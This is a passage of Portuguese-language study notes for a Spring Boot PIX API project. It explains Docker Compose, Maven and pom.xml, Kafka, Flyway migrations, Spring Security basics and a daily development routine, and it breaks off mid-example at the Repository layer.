Containers e Docker
Aprendido em 17/03/2026 — Fase 01O que e um Container?
Imagine que voce quer rodar um banco de dados PostgreSQL no seu computador. Sem Docker, voce precisaria baixar o instalador, instalar no Windows, configurar porta, usuario e senha. Se algo der errado, desinstalar e uma dor de cabeca. Se um colega quer rodar o mesmo projeto, precisa repetir tudo.
Container e como uma "caixinha isolada" que ja vem com tudo configurado dentro. E como um mini-computador rodando dentro do seu computador, mas muito mais leve que uma maquina virtual.
Com Docker, ao inves de instalar PostgreSQL na maquina, voce roda:
docker compose up
E ele cria uma caixinha com PostgreSQL ja configurado, rodando, pronto pra usar.
Quer parar? docker compose down.
Quer recomecar do zero? Apaga o container e cria outro. Limpo, sem sujeira na sua maquina.
O que usamos com Docker neste projeto?
| Container | O que faz |
|---|---|
| PostgreSQL | Banco de dados — armazena contas, transacoes, chaves PIX |
| Apache Kafka | Sistema de mensageria — processa transacoes de forma assincrona |
| Kafka UI | Interface visual para ver mensagens e topicos do Kafka no navegador |
Toda empresa seria usa containers. Quando voce vai numa entrevista e diz
"meu projeto roda com docker compose up", o entrevistador
sabe que voce entende infraestrutura moderna.
Gerenciador de Dependencias (Maven)
Aprendido em 17/03/2026 — Fase 01O que e um Gerenciador de Dependencias?
Quando voce programa, voce nao escreve tudo do zero. Voce usa bibliotecas (tambem chamadas de "dependencias") que outras pessoas ja criaram. Exemplo: quer criar uma API REST? Usa o Spring Boot. Quer conectar num banco? Usa o driver PostgreSQL.
Maven e quem baixa, organiza e atualiza essas bibliotecas pra voce.
A linguagem (Java) = o cozinheiro (quem cozinha de verdade).
O gerenciador (Maven) = o gerente do restaurante (compra os
ingredientes, organiza a cozinha, define a ordem de preparo dos pratos).
O gerente nao cozinha. O cozinheiro nao compra ingredientes.
Sao independentes, mas trabalham juntos.
Maven NAO e um plugin
Plugin e algo que se instala dentro de outra ferramenta. Maven e uma ferramenta independente — voce instala separadamente no computador. O termo correto e gerenciador de pacotes/build.
Comparacao com Node.js
| Node.js (que voce conhece) | Java (que vamos usar) | O que faz |
|---|---|---|
npm |
Maven |
Gerenciador |
package.json |
pom.xml |
Arquivo de configuracao |
node_modules/ |
~/.m2/repository/ |
Pasta de dependencias |
npm install |
mvn install |
Instalar dependencias |
npm start |
mvn spring-boot:run |
Rodar o projeto |
npm test |
mvn test |
Rodar testes |
npm run build |
mvn package |
Build para producao |
O ciclo de vida do Maven
Quando voce roda mvn package, o Maven executa tudo em ordem:
1. validate → "O projeto esta configurado certo?"
2. compile → "Java, compile o codigo!"
3. test → "Java, rode os testes!"
4. package → "Empacote tudo num .jar!"
5. verify → "JaCoCo, a cobertura passou de 80%?"
6. install → "Salve o .jar no repositorio local"
7. deploy → "Envie para o servidor remoto"
Cada linguagem tem o seu
| Linguagem | Gerenciador | Arquivo de config |
|---|---|---|
| Java | Maven (ou Gradle) | pom.xml |
| JavaScript | npm (ou yarn) | package.json |
| Python | pip (ou poetry) | requirements.txt |
| Rust | Cargo | Cargo.toml |
| Go | Go Modules | go.mod |
| PHP | Composer | composer.json |
O arquivo pom.xml
Aprendido em 17/03/2026 — Fase 01POM = Project Object Model
O pom.xml e o "RG" do projeto Java.
E um arquivo XML que descreve tudo sobre o projeto para o Maven:
quem e, qual Java usa, do que precisa, como e construido.
Se no Node.js o package.json diz "quem sou eu e do que preciso",
o pom.xml faz exatamente a mesma coisa pro Java.
Estrutura basica
<!-- 1. QUEM SOU EU? (identidade do projeto) -->
<groupId>com.riel</groupId> <!-- "dono" do projeto -->
<artifactId>pixhub</artifactId> <!-- nome do projeto -->
<version>1.0.0</version> <!-- versao atual -->
<!-- 2. QUAL JAVA EU USO? -->
<java.version>17</java.version>
<!-- 3. DO QUE EU PRECISO? (dependencias) -->
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
</dependencies>
<!-- 4. COMO EU SOU CONSTRUIDO? (plugins) -->
<plugins>
<plugin>jacoco-maven-plugin</plugin>
</plugins>
Comparacao direta
| package.json | pom.xml | O que faz |
|---|---|---|
"name": "pixhub" |
<artifactId>pixhub</artifactId> |
Nome do projeto |
"version": "1.0.0" |
<version>1.0.0</version> |
Versao |
"dependencies": {...} |
<dependencies>...</dependencies> |
Bibliotecas do projeto |
"devDependencies": {...} |
<scope>test</scope> |
Bibliotecas so para testes |
"scripts": {...} |
<plugins>...</plugins> |
Comandos de build/test |
O pom.xml e o primeiro arquivo que vamos criar
no projeto. Sem ele, o Maven nao sabe o que fazer — e como rodar
npm install sem ter um package.json.
Mensageria e Apache Kafka
Aprendido em 17/03/2026 — Fase 01O que e Mensageria?
Imagine uma loja online. Quando o cliente clica "Pagar", o sistema precisa: validar o cartao, descontar do estoque, enviar email, gerar nota fiscal e notificar o entregador.
Sem mensageria (sincrono)
O cliente clica "Pagar" e fica esperando a tela carregar enquanto o sistema faz TUDO, um atras do outro. Se o email estiver lento, o cliente espera. Se a nota fiscal falhar, tudo falha.
Com mensageria (assincrono)
O cliente clica "Pagar", o sistema faz so o essencial (validar cartao + descontar estoque), responde "Pagamento recebido!" e coloca recados numa fila dizendo "mande o email", "gere a nota". Cada servico pega seu recado e processa no seu tempo.
Kafka = o carteiro
Mensageria = o sistema de correios
Kafka UI = o painel de rastreamento onde voce acompanha todas as entregas
O produtor escreve uma mensagem e coloca na caixa de correio.
O consumidor pega a mensagem quando estiver pronto e executa.
Como funciona no nosso projeto PIX
O BACEN processa milhoes de transacoes por dia. Se cada uma tivesse que esperar todas as etapas antes de responder, o sistema travaria. Com mensageria, ele recebe, coloca na fila, e responde em menos de 2 segundos.
O que e o Kafka UI?
Kafka por si so roda no terminal, sem interface visual. O Kafka UI e uma pagina web (painel administrativo) onde voce ve tudo que acontece dentro do Kafka:
- Topicos — as "caixas de correio" que existem
- Mensagens — o conteudo enviado (ex: "transacao X criada")
- Consumer groups — quem esta consumindo as mensagens
- Lag — se tem mensagens acumulando sem processar
Voce acessa em localhost:8090 no navegador. E puramente para
desenvolvimento e monitoramento.
Kafka e o padrao de mercado em fintechs e bancos digitais. Itau, Nubank, PicPay e Inter todos usam Kafka. E o que as vagas em Squad Banking pedem.
Como descobrir quais dependencias um projeto precisa
Aprendido em 17/03/2026 — Fase 01Voce NAO descobre tudo de uma vez
Ninguem olha para um projeto e sabe instantaneamente que precisa de 16 dependencias. Voce descobre conforme a necessidade aparece:
Exemplo de como seria na pratica
| Dia | Problema | Pesquisa | Dependencia descoberta |
|---|---|---|---|
| 1 | "Quero criar uma API REST" | "how to create REST API Java" | spring-boot-starter-web |
| 2 | "Preciso salvar dados num banco" | "Spring Boot connect database" | data-jpa + postgresql |
| 3 | "O banco mudou e perdi dados" | "database migration Spring Boot" | flyway-core |
| 4 | "Preciso proteger com login" | "Spring Boot authentication" | security + jjwt |
| 5 | "Muito getter/setter repetitivo" | "reduce boilerplate Java" | lombok |
As 3 formas de descobrir
-
A documentacao oficial te diz —
A doc do Spring Boot diz: "Para usar JPA, adicione
spring-boot-starter-data-jpa". Nao e adivinhacao. - A experiencia acumula — Depois de 2-3 projetos, voce ja sabe de cabeca quais dependencias cada problema exige.
-
O Spring Initializr facilita —
O site start.spring.io
tem checkboxes — voce marca o que quer e ele gera o
pom.xmlpronto.
Mapa completo do nosso projeto
| Requisito | Dependencia |
|---|---|
| API REST | spring-boot-starter-web |
| Banco de dados | data-jpa + postgresql |
| Migrations | flyway-core |
| Autenticacao | security + jjwt |
| Validacao de dados | validation |
| Monitoramento | actuator |
| Mensageria | spring-kafka |
| Documentacao | springdoc-openapi |
| Menos codigo repetitivo | lombok |
| Conversao DTO/Entity | mapstruct |
| Testes | starter-test + testcontainers |
| Cobertura de testes | jacoco |
E como um cozinheiro experiente que ja sabe os ingredientes antes de abrir a receita. Ele olha o prato ("API PIX com autenticacao, banco e mensageria") e ja sabe: "vou precisar de Spring Boot, PostgreSQL, Kafka, JWT..."
Spring Boot e Annotations
Aprendido em 17/03/2026 — Fase 01O que e o Spring Boot?
Spring Boot e um framework que facilita a criacao de aplicacoes Java. Sem ele, voce teria que configurar manualmente: servidor web, conexao com banco, serialização JSON, injecao de dependencias... Com Spring Boot, tudo vem pre-configurado e pronto para usar.
Java puro = carro manual. Voce controla tudo: embreagem, marcha, acelerador.
Spring Boot = carro automatico. Ele faz as trocas de marcha sozinho.
Voce so precisa dizer "quero ir pra frente" e ele resolve o resto.
A auto-configuracao do Spring Boot detecta o que esta no classpath
(ex: viu o driver PostgreSQL? configura a conexao automaticamente).
O que sao Annotations?
Annotations sao "etiquetas" que voce cola nas classes e metodos para dizer ao
Spring o que eles fazem. Comecam com @.
| Annotation | O que faz | Onde usar |
|---|---|---|
@SpringBootApplication |
Classe principal — combina 3 annotations (Config + AutoConfig + ComponentScan) | PixHubApplication.java |
@RestController |
Marca uma classe como endpoint REST (recebe e responde HTTP) | Classes em controller/ |
@Service |
Marca uma classe como logica de negocio | Classes em service/ |
@Repository |
Marca uma classe como acesso ao banco | Interfaces em repository/ |
@Configuration |
Marca uma classe como fonte de configuracoes (beans) | Classes em config/ |
@Bean |
Registra o objeto retornado no container do Spring | Metodos dentro de @Configuration |
@Entity |
Mapeia uma classe Java para uma tabela no banco | Classes em entity/ |
Injecao de Dependencia (DI)
E o padrao mais importante do Spring. Em vez de voce criar objetos manualmente
(new PixService()), o Spring cria e entrega automaticamente.
// SEM injecao de dependencia (manual, ruim):
PixService service = new PixService(new PixRepository(...));
// COM injecao de dependencia (Spring faz tudo):
@Service
public class PixService {
private final PixRepository repository;
// Spring detecta que PixRepository é necessario
// e injeta automaticamente pelo construtor
public PixService(PixRepository repository) {
this.repository = repository;
}
}
Injecao de dependencia facilita testes (troca a dependencia real por um mock), desacopla as camadas e e o padrao #1 perguntado em entrevistas Java.
Profiles e Ambientes
Aprendido em 17/03/2026 — Fase 01O problema
Em desenvolvimento, o banco roda em localhost:5432 com senha
pixhub_dev. Em producao, roda em outro servidor com outra senha.
Como a MESMA aplicacao sabe qual configuracao usar?
A solucao: Profiles
Spring Boot carrega arquivos de configuracao diferentes dependendo do profile ativo:
| Profile | Arquivo | Quando usar |
|---|---|---|
dev |
application-dev.yml |
Desenvolvimento local (Docker Compose) |
test |
application-test.yml |
Testes automatizados (Testcontainers) |
prod |
application-prod.yml |
Producao (variaveis de ambiente) |
# Ativar profile via terminal:
SPRING_PROFILES_ACTIVE=prod mvn spring-boot:run
# Ou via application.yml (padrao):
spring:
profiles:
active: dev
Profile dev = modo "cidade" (conforto, mais logs, banco local).
Profile prod = modo "estrada" (performance, menos logs, banco remoto).
O carro e o mesmo, so muda o comportamento.
NUNCA coloque senhas reais no codigo. O profile prod
usa ${DATABASE_PASSWORD} — o valor vem de variavel de ambiente,
injetada pelo Docker ou servidor no momento do deploy.
Flyway e Migrations
Aprendido em 17/03/2026 — Fase 01O problema
Voce cria uma tabela no banco. Semana seguinte, precisa adicionar uma coluna. Mes seguinte, precisa renomear outra. Como garantir que o banco do seu colega, do servidor de teste e da producao estao todos na mesma versao?
A solucao: Migrations versionadas
Flyway e um "git para o banco de dados". Voce cria arquivos SQL com numeracao sequencial, e ele aplica na ordem certa.
db/migration/
├── V1__create_schema.sql ← Cria tabelas iniciais
├── V2__add_users_table.sql ← Adiciona tabela de usuarios
├── V3__add_email_to_users.sql ← Adiciona coluna email
└── V4__create_pix_keys.sql ← Cria tabela de chaves PIX
Assim como voce nunca edita um commit antigo no git (faz um novo commit),
voce nunca altera uma migration ja executada.
Precisa mudar algo? Cria uma nova migration (V5, V6...).
O Flyway rastreia quais migrations ja rodaram na tabela
flyway_schema_history.
Convencao de nomes
V1__create_schema.sql
│ │ │
│ │ └── Descricao (separada por underscores)
│ └──────────────── DOIS underscores (obrigatorio!)
└────────────────── V + numero da versao
O Hibernate tem ddl-auto=update que altera o banco automaticamente.
NUNCA use em producao — ele pode deletar colunas ou perder dados.
Flyway e o jeito seguro e profissional. Por isso usamos
ddl-auto=validate (so confere, nao mexe).
Spring Security Basico
Aprendido em 17/03/2026 — Fase 01O que e Spring Security?
E o framework que controla quem pode acessar o que na sua API. Dois conceitos principais:
- Autenticacao — "Quem e voce?" (login, token JWT)
- Autorizacao — "O que voce pode fazer?" (roles, permissoes)
Como funciona: Filter Chain
Toda requisicao HTTP passa por uma cadeia de filtros antes de chegar no controller. Cada filtro decide: "deixo passar ou bloqueio?"
Configuracao STATELESS
Em APIs REST, o servidor nao guarda sessao. Cada request precisa trazer sua propria autenticacao (token JWT no header). Isso permite escalar horizontalmente — qualquer servidor pode atender qualquer request, sem precisar compartilhar sessao.
// Desabilita sessao — cada request e independente
.sessionManagement(session ->
session.sessionCreationPolicy(SessionCreationPolicy.STATELESS)
)
// Endpoints publicos (sem autenticacao):
.requestMatchers("/actuator/**", "/swagger-ui/**").permitAll()
// Tudo mais requer autenticacao:
.anyRequest().authenticated()
CSRF protege contra ataques em apps com cookies/sessao.
APIs REST stateless usam JWT no header Authorization,
nao cookies. Sem cookie = sem CSRF. Por isso desabilitamos.
Em aplicacoes com formularios HTML e sessao, NUNCA desabilite.
Dockerfile Multi-stage
Aprendido em 17/03/2026 — Fase 01O problema
Para compilar Java, precisamos do JDK (800MB+) e do Maven. Mas para RODAR, so precisamos do JRE (200MB). Se colocarmos tudo numa imagem so, ela fica enorme e cheia de ferramentas desnecessarias (risco de seguranca).
A solucao: Multi-stage build
O Dockerfile tem duas etapas. A primeira compila, a segunda so roda. A imagem final nao tem Maven, nem codigo-fonte, nem dependencias de compilacao.
Truque do cache de dependencias
# 1. Copia APENAS o pom.xml primeiro
COPY pom.xml .
RUN mvn dependency:go-offline -B
# 2. SO DEPOIS copia o codigo-fonte
COPY src ./src
RUN mvn package -DskipTests -B
Docker cacheia cada camada (instrucao). Se o pom.xml nao mudou,
as dependencias ja estao no cache. Quando voce muda so o codigo Java,
o Docker pula o download e vai direto para a compilacao.
Resultado: rebuild em segundos em vez de minutos.
Empresas medem o tempo de build do CI/CD. Um Dockerfile otimizado com cache de dependencias reduz deploys de 10 minutos para 2. Esse tipo de otimizacao mostra maturidade tecnica em entrevistas.
Compatibilidade de Versoes e o Parent POM
Aprendido em 17/03/2026 — Fase 01 (primeiro bug real!)O que aconteceu
Ao rodar mvn clean compile pela primeira vez, o Maven retornou erro:
[ERROR] 'dependencies.dependency.version' for
org.flywaydb:flyway-database-postgresql:jar is missing.
@ line 160, column 21
Tinhamos adicionado a dependencia flyway-database-postgresql no
pom.xml sem especificar a versao, esperando que o Spring Boot
resolvesse automaticamente. Mas o Maven nao sabia qual versao usar e quebrou.
Por que aconteceu
O spring-boot-starter-parent que declaramos no topo do pom.xml
funciona como um "catalogo de versoes". Ele diz:
"Se voce usar Spring Security, use a versao 6.2.4. Se usar Flyway, use a 9.22.3."
O problema: nosso projeto usa Spring Boot 3.2.5, que gerencia
Flyway 9.x. Na versao 9 do Flyway, o suporte a PostgreSQL ja vem
dentro do flyway-core. O modulo separado
flyway-database-postgresql so foi criado no Flyway 10+
(que vem com Spring Boot 3.3+).
Ou seja: tentamos usar uma dependencia que nao existia na versao que o Spring Boot conhecia.
O Parent POM e o cardapio do restaurante. Ele lista todos os
pratos (dependencias) disponiveis e seus precos (versoes).
Quando voce pede "flyway-core", o garcom (Maven) olha no cardapio, acha o
prato e sabe exatamente qual versao servir.
Quando voce pede "flyway-database-postgresql", o garcom olha no cardapio e...
nao encontra. Esse prato nao existe neste cardapio.
Ele para e pergunta: "Qual versao voce quer?" — e como voce nao
especificou, ele nao consegue servir. Erro.
Como resolver
Existiam duas opcoes:
| Opcao | Quando usar |
|---|---|
| Remover a dependencia (o que fizemos) | Quando ela nao existe na versao do ecossistema que voce usa |
Adicionar <version> manualmente |
Quando voce precisa de uma dependencia que o parent nao gerencia |
Como investigar: o BOM
BOM = Bill of Materials (lista de materiais). E o arquivo que lista TODAS as versoes que o Spring Boot gerencia. Para ver quais dependencias o Spring Boot 3.2.5 gerencia:
- Acesse a documentacao do Spring Boot na versao que voce usa
- Procure "Dependency Versions" — la esta a lista completa
- Se a dependencia esta na lista, nao precisa colocar versao
- Se nao esta, voce precisa declarar a versao no
pom.xml
<!-- Dependencia gerenciada pelo parent (NAO precisa de versao): -->
<dependency>
<groupId>org.flywaydb</groupId>
<artifactId>flyway-core</artifactId>
<!-- versao vem do parent automaticamente -->
</dependency>
<!-- Dependencia NAO gerenciada (PRECISA de versao): -->
<dependency>
<groupId>org.mapstruct</groupId>
<artifactId>mapstruct</artifactId>
<version>1.5.5.Final</version>
</dependency>
Antes de adicionar uma dependencia sem <version>,
pergunte: "O Spring Boot parent gerencia essa dependencia?"
Se sim → nao precisa de versao.
Se nao → obrigatorio declarar a versao.
Se nao tem certeza → coloque a versao. Nunca da erro por ter versao sobrando.
Conflitos de versao sao o bug #1 em projetos Java corporativos. Quando voce atualiza o Spring Boot de 3.2 para 3.3, dezenas de versoes mudam automaticamente. Entender o BOM e o parent POM te permite debugar esses problemas em vez de ficar perdido olhando stack traces.
Docker Compose na Pratica — O que esta rodando e como verificar
Aprendido em 17/03/2026 — Fase 01O que o Docker Compose faz
O arquivo docker-compose.yml e uma receita que diz ao Docker:
"crie esses 3 servicos pra mim". Quando voce roda docker compose up -d,
o Docker le essa receita e cria 3 containers (programas isolados rodando
na sua maquina):
| Container | O que e | Pra que serve no nosso projeto | Porta |
|---|---|---|---|
| pixhub-postgres | Banco de dados PostgreSQL | Guarda contas, chaves PIX, transacoes | 5432 |
| pixhub-kafka | Message broker (correio de mensagens) | Processa transferencias PIX de forma assincrona | 9092 |
| pixhub-kafka-ui | Interface visual pro Kafka | Permite ver topicos e mensagens no navegador | 8090 |
Imagine que voce esta montando uma cozinha de restaurante:
PostgreSQL = a geladeira. Guarda todos os ingredientes
(dados). Sem ela, voce nao tem o que cozinhar.
Kafka = o balcao de pedidos. Quando chega um pedido
(transferencia PIX), ele fica no balcao esperando ser preparado. O cozinheiro nao
precisa parar tudo pra anotar — o balcao organiza a fila.
Kafka UI = a camera da cozinha. Voce nao precisa
dela pra cozinhar, mas ela te deixa VER o que esta acontecendo no balcao de pedidos.
Spring Boot (sua API) = o cozinheiro. Ele usa a geladeira
(Postgres) pra buscar dados e coloca/retira pedidos do balcao (Kafka). O cozinheiro NAO
esta dentro da cozinha do Docker — ele roda na sua maquina diretamente com
mvn spring-boot:run.
O que voce VE no Docker Desktop
Quando voce abre o Docker Desktop e vai em Containers, voce ve algo assim:
sistemadepix RUNNING
├── pixhub-postgres Running 5432:5432
├── pixhub-kafka Running 9092:9092
└── pixhub-kafka-ui Running 8090:8080
O grupo "sistemadepix" e o nome do seu projeto (Docker usa o nome da pasta).
Os 3 containers dentro dele sao os servicos definidos no docker-compose.yml.
O status "Running" significa que o container esta ligado. Se algum mostrasse "Exited" ou "Restarting", algo deu errado.
As portas (ex: 5432:5432) significam:
"a porta 5432 da sua maquina esta conectada a porta 5432 dentro do container".
Isso permite que o Spring Boot (que roda fora do Docker) se conecte ao banco.
Os URLs que voce pode abrir no navegador
| URL | O que voce ve | Quando usar |
|---|---|---|
localhost:8080/actuator/health |
{"status":"UP"} |
Verificar se o Spring Boot esta vivo e conectado |
localhost:8080/swagger-ui.html |
Documentacao interativa da API | Testar endpoints (quando criarmos) |
localhost:8090 |
Kafka UI — interface visual | Ver topicos, mensagens, consumers do Kafka |
O docker compose up -d so sobe Postgres, Kafka e Kafka UI.
A sua aplicacao Java (Spring Boot) roda separada, na sua maquina,
com mvn spring-boot:run.
Por que? Em desenvolvimento, e mais facil reiniciar e debugar a aplicacao quando ela
roda direto na maquina. O Dockerfile que criamos e para producao
(quando for fazer deploy).
Como verificar que tudo esta funcionando
Checklist pratico que voce pode seguir toda vez que iniciar o projeto:
- Abrir Docker Desktop — verificar que os 3 containers estao "Running" (verdes)
-
Abrir
localhost:8090no navegador — se a Kafka UI carregou, significa que o Kafka esta funcionando (ela depende dele) -
Rodar
mvn spring-boot:runno terminal — se o Spring Boot subir sem erros, significa que ele conseguiu conectar no Postgres e no Kafka -
Abrir
localhost:8080/actuator/health— se retornar{"status":"UP"}, tudo esta funcionando
Comandos uteis do Docker
# Ver containers rodando
docker ps
# Subir tudo (em background, -d = detached)
docker compose up -d
# Parar tudo (containers param, dados ficam)
docker compose down
# Parar tudo E apagar dados (banco zerado)
docker compose down -v
# Ver logs de um container especifico
docker logs pixhub-postgres
docker logs pixhub-kafka
# Reiniciar um container
docker compose restart postgres
Fluxo visual do projeto
Voce (navegador/Postman)
|
| HTTP request (ex: POST /api/v1/pix/transfer)
v
+-----------------+
| Spring Boot | ← roda na sua maquina (mvn spring-boot:run)
| (porta 8080) |
+----+-------+----+
| |
| | "salva dados" "envia evento"
v v
+--------+ +---------+
|Postgres| | Kafka | ← rodam no Docker (docker compose up -d)
| :5432 | | :9092 |
+--------+ +---------+
|
v
+-----------+
| Kafka UI | ← tambem no Docker (so pra visualizar)
| :8090 |
+-----------+
Voce so precisa rodar docker compose up -d uma vez quando ligar o
computador. Os containers ficam rodando em background. O Spring Boot voce
reinicia toda vez que mudar o codigo (ou use o DevTools que recarrega automaticamente).
Se algo der errado, docker compose down -v apaga tudo e
docker compose up -d recria do zero. E como formatar o computador —
resolve 90% dos problemas.
Rotina Diaria, Alertas e Como Evoluir o Sistema
Aprendido em 17/03/2026 — Fase 01Rotina diaria — o minimo pra trabalhar
Todo dia que voce for codar no projeto, sao apenas 4 passos:
1. Abrir Docker Desktop (esperar ficar verde)
2. docker compose up -d (sobe Postgres, Kafka, Kafka UI)
3. mvn spring-boot:run (sobe sua API Java)
4. Codar normalmente
5. Ctrl+C no terminal quando terminar (para a API)
docker compose down so e necessario se algo der errado.
No dia a dia, basta fechar o Docker Desktop — os containers pausam.
No dia seguinte, abra o Docker Desktop e rode docker compose up -d
de novo. Se ja estiverem rodando, o comando nao faz nada (e seguro repetir).
Pontos de atencao — sinais de problema
Se algo parar de funcionar, olhe esses sinais:
| Sinal | O que significa | Como resolver |
|---|---|---|
| Container vermelho/amarelo no Docker Desktop | Um servico caiu ou esta reiniciando | docker compose down -v e docker compose up -d |
mvn spring-boot:run da erro de conexao |
Postgres ou Kafka nao estao rodando | Verificar Docker Desktop. Ver logs: docker logs pixhub-postgres |
localhost:8080/actuator/health nao responde |
Spring Boot nao esta rodando | Rodar mvn spring-boot:run |
| "Port already in use" (porta ja em uso) | Outro programa esta usando a mesma porta | Fechar o outro programa, ou mudar a porta no docker-compose.yml |
| Docker Desktop lento ou disco cheio | Imagens e volumes antigos acumulados | docker system prune — limpa o que nao esta em uso |
| Flyway da erro na inicializacao | Uma migration SQL tem erro de sintaxe | Corrigir o SQL. Se necessario: docker compose down -v pra zerar o banco |
Se nada funcionar e voce nao entender o erro:
docker compose down -v (apaga tudo, inclusive dados do banco)
docker compose up -d (recria tudo do zero)
mvn spring-boot:run (Flyway recria as tabelas automaticamente)
Isso resolve 90% dos problemas. O -v apaga os volumes (dados),
entao o banco volta vazio e o Flyway roda todas as migrations de novo.
Como evoluir o sistema — o ciclo de desenvolvimento
Toda funcionalidade nova no projeto segue o mesmo ciclo de 7 passos. Sempre nessa ordem, de baixo (banco) pra cima (API):
BANCO 1. Migration (V2__create_accounts.sql)
| → SQL que cria/altera tabelas no banco
v
ENTIDADE 2. Entity (Account.java)
| → Classe Java que mapeia a tabela
v
REPOSITORIO 3. Repository (AccountRepository.java)
| → Interface que faz queries no banco
v
LOGICA 4. Service (AccountService.java)
| → Regras de negocio (validacoes, calculos)
v
CONTRATO 5. DTOs (CreateAccountRequest.java, AccountResponse.java)
| → O que a API recebe e devolve (nunca expor a Entity)
v
ENDPOINT 6. Controller (AccountController.java)
| → A URL que o mundo externo chama
v
QUALIDADE 7. Testes (AccountServiceTest.java)
→ Garante que tudo funciona
Migration = fundacao (estrutura do terreno)
Entity = planta baixa (desenho tecnico do que existe)
Repository = porteiro (controla quem entra e sai do predio)
Service = sindico (conhece as regras e toma decisoes)
DTO = interfone (o que o visitante fala e o que ele ouve de volta)
Controller = portaria (ponto de entrada — recebe visitantes)
Testes = vistoria (inspecao pra garantir que nada esta quebrado)
Voce sempre constroi de baixo pra cima: primeiro a fundacao, depois as paredes,
depois a portaria. Nunca ao contrario.
Exemplo pratico: adicionar "Contas Bancarias"
Na Fase 02, vamos criar o CRUD de contas. O processo seria:
-
Migration: criar
V2__create_accounts.sqlcomCREATE TABLE accounts (...) -
Entity: criar
Account.javacom@Entity, mapeando cada coluna da tabela -
Repository: criar
AccountRepository.javaextendsJpaRepository<Account, UUID> -
Service: criar
AccountService.javacom regras como "CPF nao pode ser duplicado", "saldo inicial e zero" -
DTOs: criar
CreateAccountRequest(o que o usuario envia) eAccountResponse(o que a API devolve) -
Controller: criar
AccountController.javacomPOST /api/v1/accounts,GET /api/v1/accounts/{id}, etc. - Testes: testar cada regra do Service e cada endpoint do Controller
Fluxo de trabalho com Git
Alem do ciclo de codigo, voce deve salvar seu progresso com Git:
# Antes de comecar algo novo
git status (ver o que mudou)
# Depois de terminar uma funcionalidade
git add src/ (adiciona os arquivos alterados)
git commit -m "feat: criar CRUD de contas bancarias"
# Tipos de commit comuns:
# feat: nova funcionalidade
# fix: correcao de bug
# refactor: melhorar codigo sem mudar comportamento
# test: adicionar ou corrigir testes
# docs: documentacao
Inicio do dia: Docker Desktop → docker compose up -d
→ mvn spring-boot:run
Durante o dia: codar seguindo o ciclo (Migration → Entity → ...
→ Controller → Testes)
Final do dia: git add + git commit pra
salvar o progresso. Ctrl+C pra parar o Spring Boot.
Se algo quebrar: docker compose down -v +
docker compose up -d = reset total.
Comandos Essenciais — O que cada um faz
Aprendido em 17/03/2026 — Fase 01O que e um "comando de terminal"
Quando voce abre um terminal (aquele tela preta) e digita algo como
docker compose up -d, voce esta dando uma instrucao
pro computador. E como falar diretamente com ele em vez de clicar em botoes.
Cada comando tem 3 partes:
docker compose up -d
| | | |
programa subcomando | flag
acao
Traduzindo: "Docker, no modo compose, suba os servicos, em background"
Comandos Docker
| Comando | O que faz | Quando usar |
|---|---|---|
docker compose up -d |
Le o docker-compose.yml e liga todos os servicos.
O -d (detached) faz rodar em background. |
Todo dia ao comecar a trabalhar |
docker compose down |
Desliga todos os servicos. Os dados do banco ficam salvos. | Quando quiser desligar a infraestrutura |
docker compose down -v |
Desliga tudo E apaga os volumes (dados). O banco fica vazio. | Quando algo da muito errado e voce quer recomecar do zero |
docker ps |
Mostra os containers que estao rodando agora | Pra checar se esta tudo no ar |
docker logs pixhub-postgres |
Mostra o que o Postgres esta "falando" (mensagens de log) | Quando o Postgres da erro e voce quer entender por que |
docker system prune |
Apaga imagens e containers antigos que nao estao em uso | Quando o Docker esta ocupando muito espaco em disco |
Comandos Maven (mvn)
Maven e o gerenciador do seu projeto Java. Ele compila o codigo,
baixa dependencias e roda a aplicacao. O comando mvn e como voce fala com ele.
| Comando | O que faz | Quando usar |
|---|---|---|
mvn spring-boot:run |
Compila seu codigo Java e roda a aplicacao na porta 8080 | Todo dia, depois do docker compose up -d |
mvn clean compile |
Apaga arquivos antigos e compila de novo (sem rodar) | Pra verificar se o codigo compila sem erros |
mvn test |
Roda todos os testes automatizados | Depois de terminar uma funcionalidade |
Ctrl+C — o que para e o que continua
Ctrl+C para so o que esta rodando naquele terminal.
Se voce rodou mvn spring-boot:run, o Ctrl+C para so o Spring Boot.
O que roda DENTRO do terminal (voce controla com Ctrl+C):
→ Spring Boot (mvn spring-boot:run)
O que roda em BACKGROUND (independente do terminal):
→ Docker Desktop (icone na barra de tarefas)
→ PostgreSQL (container)
→ Kafka (container)
→ Kafka UI (container)
Spring Boot = a TV. Voce liga e desliga com o controle (Ctrl+C).
Quando desliga, ela para.
Docker (Postgres, Kafka) = a geladeira. Ela fica ligada o tempo todo,
em background. Voce nao "desliga" a geladeira toda vez que sai de casa.
Ela so para se voce tirar da tomada (docker compose down) ou
se faltar energia (desligar o computador).
As Camadas da Aplicacao — O que e cada uma
Aprendido em 17/03/2026 — Fase 01Uma aplicacao Spring Boot e organizada em camadas. Cada camada tem uma responsabilidade especifica. Vamos usar o exemplo de uma transferencia PIX pra explicar cada uma:
1. Migration — a estrutura do banco de dados
O que e: um arquivo SQL que cria ou altera tabelas no banco de dados.
Onde fica: src/main/resources/db/migration/
Exemplo:
-- V1__create_schema.sql
CREATE TABLE accounts (
id UUID PRIMARY KEY,
holder_name VARCHAR(100) NOT NULL,
cpf VARCHAR(11) UNIQUE NOT NULL,
balance DECIMAL(15,2) DEFAULT 0
);
O Flyway roda essas migrations automaticamente quando o Spring Boot inicia. Ele olha quais ja foram executadas e roda so as novas. Por isso as migrations sao numeradas (V1, V2, V3...) — a ordem importa.
Migration = planta da obra. Define a estrutura do predio (tabelas) antes de colocar qualquer movel (dados) dentro.
2. Entity — o mapa do banco em Java
O que e: uma classe Java que representa uma tabela do banco.
Cada atributo da classe = uma coluna da tabela.
Onde fica: src/main/java/.../entity/
Exemplo:
@Entity // "essa classe representa uma tabela"
@Table(name = "accounts") // "a tabela se chama accounts"
public class Account {
@Id // "esse campo e a chave primaria"
private UUID id;
@Column(name = "holder_name") // "essa coluna se chama holder_name"
private String holderName;
private String cpf;
private BigDecimal balance;
}
O Spring (via JPA/Hibernate) usa essa classe pra traduzir entre Java e SQL automaticamente. Voce trabalha com objetos Java, e ele converte pra queries SQL.
Entity = ficha cadastral. A tabela do banco e o arquivo fisico, a Entity e a ficha que voce preenche pra acessar os dados.
3. Repository — quem conversa com o banco
O que e: uma interface que faz operacoes no banco (buscar, salvar, deletar).
Voce so declara o que quer — o Spring gera a implementacao automaticamente.
Onde fica: src/main/java/.../repository/
Exemplo:
public interface AccountRepository extends JpaRepository<Account, UUID> {
// O Spring cria o SQL automaticamente baseado no nome do metodo!
